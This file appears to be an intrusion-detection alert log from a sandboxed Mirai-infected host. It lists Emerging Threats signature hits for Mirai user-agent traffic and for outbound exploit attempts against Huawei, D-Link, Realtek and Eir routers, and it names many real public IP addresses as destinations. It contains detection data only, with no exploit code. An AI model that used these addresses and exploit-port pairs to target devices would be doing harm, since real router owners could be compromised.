192.168.2.2384.63.236.20137248802846457 10/23/22-17:58:15.349097	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37248	80	192.168.2.23	84.63.236.201
192.168.2.2386.178.155.20843434802846380 10/23/22-17:56:52.007644	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43434	80	192.168.2.23	86.178.155.208
192.168.2.23206.189.61.24160302802846380 10/23/22-17:57:27.985364	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60302	80	192.168.2.23	206.189.61.241
192.168.2.23206.189.255.20040508802846380 10/23/22-17:57:29.190289	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40508	80	192.168.2.23	206.189.255.200
192.168.2.23178.128.51.5742052802846380 10/23/22-17:57:49.583215	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42052	80	192.168.2.23	178.128.51.57
192.168.2.2346.242.216.640752802846457 10/23/22-17:58:15.375651	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40752	80	192.168.2.23	46.242.216.6
192.168.2.2395.100.200.18636474802027121 10/23/22-17:57:10.331694	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36474	80	192.168.2.23	95.100.200.186
192.168.2.2323.193.128.3349350802841623 10/23/22-17:56:49.229770	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49350	80	192.168.2.23	23.193.128.33
192.168.2.23200.220.171.25341570802846380 10/23/22-17:57:10.820527	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41570	80	192.168.2.23	200.220.171.253
192.168.2.2354.230.173.5636476802835222 10/23/22-17:58:09.999286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36476	80	192.168.2.23	54.230.173.56
192.168.2.2385.214.95.21554314802846457 10/23/22-17:57:41.195866	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54314	80	192.168.2.23	85.214.95.215
192.168.2.23178.210.90.11445722802846380 10/23/22-17:57:09.503409	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45722	80	192.168.2.23	178.210.90.114
192.168.2.2346.41.136.6246606802846457 10/23/22-17:58:15.376062	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46606	80	192.168.2.23	46.41.136.62
192.168.2.2370.113.78.685271875472835222 10/23/22-17:58:32.174734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52718	7547	192.168.2.23	70.113.78.68
192.168.2.2389.42.3.13753896802846457 10/23/22-17:57:43.768106	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53896	80	192.168.2.23	89.42.3.137
192.168.2.2382.153.163.1450456802846380 10/23/22-17:57:46.325359	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50456	80	192.168.2.23	82.153.163.14
192.168.2.23171.22.122.18454146802846457 10/23/22-17:58:05.418255	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54146	80	192.168.2.23	171.22.122.184
192.168.2.2395.101.250.18839978802027121 10/23/22-17:58:30.353286	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39978	80	192.168.2.23	95.101.250.188
192.168.2.2337.46.128.2343696802846457 10/23/22-17:57:07.142795	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43696	80	192.168.2.23	37.46.128.23
192.168.2.2354.191.47.17559730802835221 10/23/22-17:57:16.701947	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	59730	80	192.168.2.23	54.191.47.175
192.168.2.2388.99.120.1539654802027121 10/23/22-17:57:47.238003	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39654	80	192.168.2.23	88.99.120.15
192.168.2.23164.92.217.19851764802846457 10/23/22-17:57:22.271354	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51764	80	192.168.2.23	164.92.217.198
192.168.2.23197.166.232.18859668802841623 10/23/22-17:57:31.340270	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59668	80	192.168.2.23	197.166.232.188
192.168.2.2380.15.175.23437408802846380 10/23/22-17:58:33.165130	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37408	80	192.168.2.23	80.15.175.234
192.168.2.23181.63.252.4955986802846380 10/23/22-17:57:25.717989	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55986	80	192.168.2.23	181.63.252.49
192.168.2.23122.169.123.19839822802846457 10/23/22-17:58:19.981464	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39822	80	192.168.2.23	122.169.123.198
192.168.2.2368.189.6.13160716802841623 10/23/22-17:57:20.274209	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60716	80	192.168.2.23	68.189.6.131
192.168.2.2385.187.9.17560492802846457 10/23/22-17:58:37.521293	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60492	80	192.168.2.23	85.187.9.175
192.168.2.2395.154.54.23552386802027121 10/23/22-17:58:24.024329	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52386	80	192.168.2.23	95.154.54.235
192.168.2.23178.248.200.11833196802846380 10/23/22-17:57:27.971033	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33196	80	192.168.2.23	178.248.200.118
192.168.2.2380.65.132.1451578802846457 10/23/22-17:56:52.713648	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51578	80	192.168.2.23	80.65.132.14
192.168.2.2379.118.143.15746958802841623 10/23/22-17:57:07.465546	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46958	80	192.168.2.23	79.118.143.157
192.168.2.23115.4.50.1094105875472023548 10/23/22-17:58:11.553647	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41058	7547	192.168.2.23	115.4.50.109
192.168.2.2395.64.163.14635030802027121 10/23/22-17:58:39.775240	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35030	80	192.168.2.23	95.64.163.146
192.168.2.2361.81.33.17657902802846457 10/23/22-17:57:50.873042	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57902	80	192.168.2.23	61.81.33.176
192.168.2.23112.157.27.21756278802027121 10/23/22-17:56:58.625319	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56278	80	192.168.2.23	112.157.27.217
192.168.2.2388.221.45.13449558802027121 10/23/22-17:57:54.686419	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49558	80	192.168.2.23	88.221.45.134
192.168.2.23171.246.92.15653954802846457 10/23/22-17:57:59.896744	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53954	80	192.168.2.23	171.246.92.156
192.168.2.2337.9.170.2358306802846457 10/23/22-17:58:30.779303	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58306	80	192.168.2.23	37.9.170.23
192.168.2.2359.15.77.14043758802841623 10/23/22-17:57:46.952347	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43758	80	192.168.2.23	59.15.77.140
192.168.2.2395.160.28.4750608802027121 10/23/22-17:57:49.332978	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50608	80	192.168.2.23	95.160.28.47
192.168.2.23112.78.145.2044074802027121 10/23/22-17:57:52.074257	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44074	80	192.168.2.23	112.78.145.20
192.168.2.23178.18.254.24256138802846380 10/23/22-17:58:13.484636	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56138	80	192.168.2.23	178.18.254.242
192.168.2.2395.101.17.19140598802027121 10/23/22-17:58:15.238586	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40598	80	192.168.2.23	95.101.17.191
192.168.2.2388.49.133.2656320802027121 10/23/22-17:57:49.411882	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56320	80	192.168.2.23	88.49.133.26
192.168.2.2388.198.103.3737196802027121 10/23/22-17:57:59.936405	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37196	80	192.168.2.23	88.198.103.37
192.168.2.23195.248.230.16747200802846457 10/23/22-17:58:10.247905	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47200	80	192.168.2.23	195.248.230.167
192.168.2.23178.238.111.2444668802846380 10/23/22-17:56:55.329778	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44668	80	192.168.2.23	178.238.111.24
192.168.2.23200.14.249.4941990802846380 10/23/22-17:57:30.763337	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41990	80	192.168.2.23	200.14.249.49
192.168.2.23178.168.169.6834968802846380 10/23/22-17:57:49.441257	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34968	80	192.168.2.23	178.168.169.68
192.168.2.23178.128.118.15559414802846380 10/23/22-17:58:13.284338	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59414	80	192.168.2.23	178.128.118.155
192.168.2.23169.63.9.1952010802846380 10/23/22-17:57:51.921388	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52010	80	192.168.2.23	169.63.9.19
192.168.2.23178.5.195.19849048802846380 10/23/22-17:58:27.265332	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49048	80	192.168.2.23	178.5.195.198
192.168.2.2395.179.138.11441822802027121 10/23/22-17:58:39.654913	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41822	80	192.168.2.23	95.179.138.114
192.168.2.23112.213.104.16254618802027121 10/23/22-17:56:58.145092	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54618	80	192.168.2.23	112.213.104.162
192.168.2.2346.17.90.20938618802846457 10/23/22-17:58:23.982381	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38618	80	192.168.2.23	46.17.90.209
192.168.2.2380.133.216.19254796802846457 10/23/22-17:57:09.746379	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54796	80	192.168.2.23	80.133.216.192
192.168.2.23200.69.83.2546712802846380 10/23/22-17:57:10.777301	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46712	80	192.168.2.23	200.69.83.25
192.168.2.232.18.131.2739184802846457 10/23/22-17:57:28.760820	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39184	80	192.168.2.23	2.18.131.27
192.168.2.232.23.233.12834330802846457 10/23/22-17:57:50.460824	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34330	80	192.168.2.23	2.23.233.128
192.168.2.2389.216.56.11039588802846457 10/23/22-17:58:32.885864	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39588	80	192.168.2.23	89.216.56.110
192.168.2.23206.210.193.12045094802846380 10/23/22-17:56:42.730580	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45094	80	192.168.2.23	206.210.193.120
192.168.2.23164.46.51.4450958802846457 10/23/22-17:57:22.519455	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50958	80	192.168.2.23	164.46.51.44
192.168.2.23206.53.53.12558760802846380 10/23/22-17:57:18.550207	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58760	80	192.168.2.23	206.53.53.125
192.168.2.23206.132.162.9647928802846380 10/23/22-17:57:29.591792	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47928	80	192.168.2.23	206.132.162.96
192.168.2.23213.176.77.16648620802846380 10/23/22-17:57:48.649938	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48620	80	192.168.2.23	213.176.77.166
192.168.2.23213.179.157.11535814802846380 10/23/22-17:56:49.742825	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35814	80	192.168.2.23	213.179.157.115
192.168.2.23195.245.94.248014802846457 10/23/22-17:56:59.497510	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48014	80	192.168.2.23	195.245.94.2
192.168.2.2395.211.124.23238618802027121 10/23/22-17:58:12.704449	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38618	80	192.168.2.23	95.211.124.232
192.168.2.23181.179.9.2658978802846380 10/23/22-17:57:11.050832	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58978	80	192.168.2.23	181.179.9.26
192.168.2.2354.246.138.24149212802841623 10/23/22-17:57:01.124424	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49212	80	192.168.2.23	54.246.138.241
192.168.2.2395.9.192.9736082802027121 10/23/22-17:57:18.779936	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36082	80	192.168.2.23	95.9.192.97
192.168.2.2373.81.42.10756262802835221 10/23/22-17:57:07.567330	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	56262	80	192.168.2.23	73.81.42.107
192.168.2.235.62.37.24154114528692027339 10/23/22-17:57:35.315658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54114	52869	192.168.2.23	5.62.37.241
192.168.2.2346.163.116.11733516802846457 10/23/22-17:58:05.437481	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33516	80	192.168.2.23	46.163.116.117
192.168.2.23195.77.90.7136918802846457 10/23/22-17:58:10.259964	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36918	80	192.168.2.23	195.77.90.71
192.168.2.2380.35.114.10035590802846380 10/23/22-17:58:39.170650	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35590	80	192.168.2.23	80.35.114.100
192.168.2.2395.57.247.18557314802027121 10/23/22-17:58:30.485137	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57314	80	192.168.2.23	95.57.247.185
192.168.2.23188.128.215.24939722802846457 10/23/22-17:58:20.013954	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39722	80	192.168.2.23	188.128.215.249
192.168.2.2385.17.71.17257648802846457 10/23/22-17:58:26.388542	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57648	80	192.168.2.23	85.17.71.172
192.168.2.23181.16.81.25056470802846380 10/23/22-17:58:01.159339	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56470	80	192.168.2.23	181.16.81.250
192.168.2.23178.253.43.841114802846380 10/23/22-17:56:49.749313	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41114	80	192.168.2.23	178.253.43.8
192.168.2.2395.104.78.16755758802027121 10/23/22-17:57:16.207806	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55758	80	192.168.2.23	95.104.78.167
192.168.2.23112.125.24.1042126802027121 10/23/22-17:56:41.451147	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42126	80	192.168.2.23	112.125.24.10
192.168.2.23112.126.102.936552802027121 10/23/22-17:57:13.597701	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36552	80	192.168.2.23	112.126.102.9
192.168.2.2389.41.36.6638442802846457 10/23/22-17:57:55.937842	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38442	80	192.168.2.23	89.41.36.66
192.168.2.23156.229.211.22939640802841623 10/23/22-17:57:28.747625	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39640	80	192.168.2.23	156.229.211.229
192.168.2.2395.21.51.1237278802027121 10/23/22-17:57:54.640088	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37278	80	192.168.2.23	95.21.51.12
192.168.2.232.22.209.12749412802846457 10/23/22-17:57:28.764796	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49412	80	192.168.2.23	2.22.209.127
192.168.2.2389.34.101.12544730528692027339 10/23/22-17:58:32.637804	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44730	52869	192.168.2.23	89.34.101.125
192.168.2.2395.216.190.3735464802027121 10/23/22-17:57:40.690837	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35464	80	192.168.2.23	95.216.190.37
192.168.2.2376.189.158.124318475472835222 10/23/22-17:56:43.260935	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43184	7547	192.168.2.23	76.189.158.12
192.168.2.2388.214.236.15950970802027121 10/23/22-17:58:09.669602	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50970	80	192.168.2.23	88.214.236.159
192.168.2.23156.254.33.21347714372152835222 10/23/22-17:57:33.283503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47714	37215	192.168.2.23	156.254.33.213
192.168.2.2380.97.209.15542736802846457 10/23/22-17:56:52.724553	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42736	80	192.168.2.23	80.97.209.155
192.168.2.2395.110.132.22442506802027121 10/23/22-17:58:17.323566	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42506	80	192.168.2.23	95.110.132.224
192.168.2.235.129.79.15141336802846457 10/23/22-17:57:02.981519	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41336	80	192.168.2.23	5.129.79.151
192.168.2.23213.122.235.22055728802846380 10/23/22-17:57:37.879771	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55728	80	192.168.2.23	213.122.235.220
192.168.2.2395.47.161.5443576802027121 10/23/22-17:57:40.726655	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	43576	80	192.168.2.23	95.47.161.54
192.168.2.2395.110.146.15549046802027121 10/23/22-17:57:13.006374	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49046	80	192.168.2.23	95.110.146.155
192.168.2.2386.120.46.3241330802846380 10/23/22-17:57:46.317663	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41330	80	192.168.2.23	86.120.46.32
192.168.2.2361.223.228.1947372802846457 10/23/22-17:57:02.974325	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47372	80	192.168.2.23	61.223.228.19
192.168.2.2388.221.123.4240218802027121 10/23/22-17:57:05.124614	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40218	80	192.168.2.23	88.221.123.42
192.168.2.2372.175.60.255497075472023548 10/23/22-17:58:01.495700	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54970	7547	192.168.2.23	72.175.60.25
192.168.2.2395.86.81.23039304802027121 10/23/22-17:57:40.754801	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39304	80	192.168.2.23	95.86.81.230
192.168.2.2395.195.113.21636696802027121 10/23/22-17:58:36.715213	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36696	80	192.168.2.23	95.195.113.216
192.168.2.2395.86.86.12932892802027121 10/23/22-17:57:21.071511	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	32892	80	192.168.2.23	95.86.86.129
192.168.2.2388.221.190.755442802027121 10/23/22-17:58:35.001203	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55442	80	192.168.2.23	88.221.190.7
192.168.2.2384.19.173.16452130802841623 10/23/22-17:58:35.828320	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52130	80	192.168.2.23	84.19.173.164
192.168.2.2361.157.227.3253898802846457 10/23/22-17:57:51.829174	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53898	80	192.168.2.23	61.157.227.32
192.168.2.2385.175.227.11533898802846457 10/23/22-17:57:58.585196	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33898	80	192.168.2.23	85.175.227.115
192.168.2.23112.185.198.7835882802027121 10/23/22-17:57:16.120365	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35882	80	192.168.2.23	112.185.198.78
192.168.2.2395.68.60.3144362802027121 10/23/22-17:57:33.458947	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44362	80	192.168.2.23	95.68.60.31
192.168.2.23156.93.225.1635137080802841623 10/23/22-17:57:35.398558	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51370	8080	192.168.2.23	156.93.225.163
192.168.2.2388.110.80.7851942802027121 10/23/22-17:58:05.258423	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51942	80	192.168.2.23	88.110.80.78
192.168.2.2395.101.60.17445282802027121 10/23/22-17:57:25.949040	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45282	80	192.168.2.23	95.101.60.174
192.168.2.235.226.55.11847426802846457 10/23/22-17:57:35.571414	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47426	80	192.168.2.23	5.226.55.118
192.168.2.2386.63.13.745496802841623 10/23/22-17:58:07.360550	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45496	80	192.168.2.23	86.63.13.7
192.168.2.2343.201.77.22151390802835222 10/23/22-17:57:40.767021	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51390	80	192.168.2.23	43.201.77.221
192.168.2.235.149.76.19236388802846457 10/23/22-17:57:53.339207	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36388	80	192.168.2.23	5.149.76.192
192.168.2.2389.144.28.11238098802846457 10/23/22-17:57:07.073238	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38098	80	192.168.2.23	89.144.28.112
192.168.2.2374.43.220.2147056802841623 10/23/22-17:58:29.395457	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47056	80	192.168.2.23	74.43.220.21
192.168.2.2388.116.21.10252816802027121 10/23/22-17:58:02.095305	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52816	80	192.168.2.23	88.116.21.102
192.168.2.2395.213.249.17045378802027121 10/23/22-17:58:12.741202	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45378	80	192.168.2.23	95.213.249.170
192.168.2.2395.67.7.5337986802027121 10/23/22-17:56:46.636448	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37986	80	192.168.2.23	95.67.7.53
192.168.2.235.105.57.20258076802846457 10/23/22-17:57:08.378861	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58076	80	192.168.2.23	5.105.57.202
192.168.2.2385.128.243.4659808802846457 10/23/22-17:58:17.750753	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59808	80	192.168.2.23	85.128.243.46
192.168.2.2385.214.109.3938846802846457 10/23/22-17:57:41.196003	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38846	80	192.168.2.23	85.214.109.39
192.168.2.2334.76.74.10445154802841623 10/23/22-17:56:47.921557	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45154	80	192.168.2.23	34.76.74.104
192.168.2.2385.13.150.20337756802846457 10/23/22-17:57:00.159868	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37756	80	192.168.2.23	85.13.150.203
192.168.2.23206.225.84.859490802846380 10/23/22-17:56:42.702800	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59490	80	192.168.2.23	206.225.84.8
192.168.2.2388.208.9.19442766802027121 10/23/22-17:58:05.157441	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42766	80	192.168.2.23	88.208.9.194
192.168.2.232.21.197.24232876802846457 10/23/22-17:57:28.770787	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	32876	80	192.168.2.23	2.21.197.242
192.168.2.2349.12.56.7033412802835221 10/23/22-17:57:28.381541	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	33412	80	192.168.2.23	49.12.56.70
192.168.2.2378.47.192.10360316802846457 10/23/22-17:58:04.228008	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60316	80	192.168.2.23	78.47.192.103
192.168.2.2385.215.90.12850370802846457 10/23/22-17:58:26.393408	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50370	80	192.168.2.23	85.215.90.128
192.168.2.23156.248.215.11237904802841623 10/23/22-17:58:28.035223	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37904	80	192.168.2.23	156.248.215.112
192.168.2.23112.46.0.652104802027121 10/23/22-17:58:25.786507	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52104	80	192.168.2.23	112.46.0.6
192.168.2.23122.237.29.8151688528692027339 10/23/22-17:58:36.308014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51688	52869	192.168.2.23	122.237.29.81
192.168.2.2395.110.147.13855308802027121 10/23/22-17:57:23.576634	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55308	80	192.168.2.23	95.110.147.138
192.168.2.235.196.166.9839950802846457 10/23/22-17:57:46.216184	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39950	80	192.168.2.23	5.196.166.98
192.168.2.23181.29.230.6855272802846380 10/23/22-17:58:01.160846	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55272	80	192.168.2.23	181.29.230.68
192.168.2.2385.24.191.22143600802846457 10/23/22-17:57:00.293101	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43600	80	192.168.2.23	85.24.191.221
192.168.2.2352.51.101.18956142802835221 10/23/22-17:57:11.020124	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	56142	80	192.168.2.23	52.51.101.189
192.168.2.2361.252.173.7559392802846457 10/23/22-17:57:31.817606	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59392	80	192.168.2.23	61.252.173.75
192.168.2.2389.185.250.9650978802846457 10/23/22-17:57:55.919282	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50978	80	192.168.2.23	89.185.250.96
192.168.2.23200.0.201.16533330802846380 10/23/22-17:57:57.993380	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33330	80	192.168.2.23	200.0.201.165
192.168.2.2334.144.235.1436336802835222 10/23/22-17:56:43.281124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36336	80	192.168.2.23	34.144.235.14
192.168.2.23112.49.20.14056360802027121 10/23/22-17:58:29.890240	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56360	80	192.168.2.23	112.49.20.140
192.168.2.23181.215.47.19352410802846380 10/23/22-17:57:10.928117	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52410	80	192.168.2.23	181.215.47.193
192.168.2.235.190.33.12651294802846457 10/23/22-17:57:53.509841	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51294	80	192.168.2.23	5.190.33.126
192.168.2.2388.249.64.20659430802027121 10/23/22-17:58:36.349679	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	59430	80	192.168.2.23	88.249.64.206
192.168.2.23200.42.93.8837380802846380 10/23/22-17:57:14.205877	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37380	80	192.168.2.23	200.42.93.88
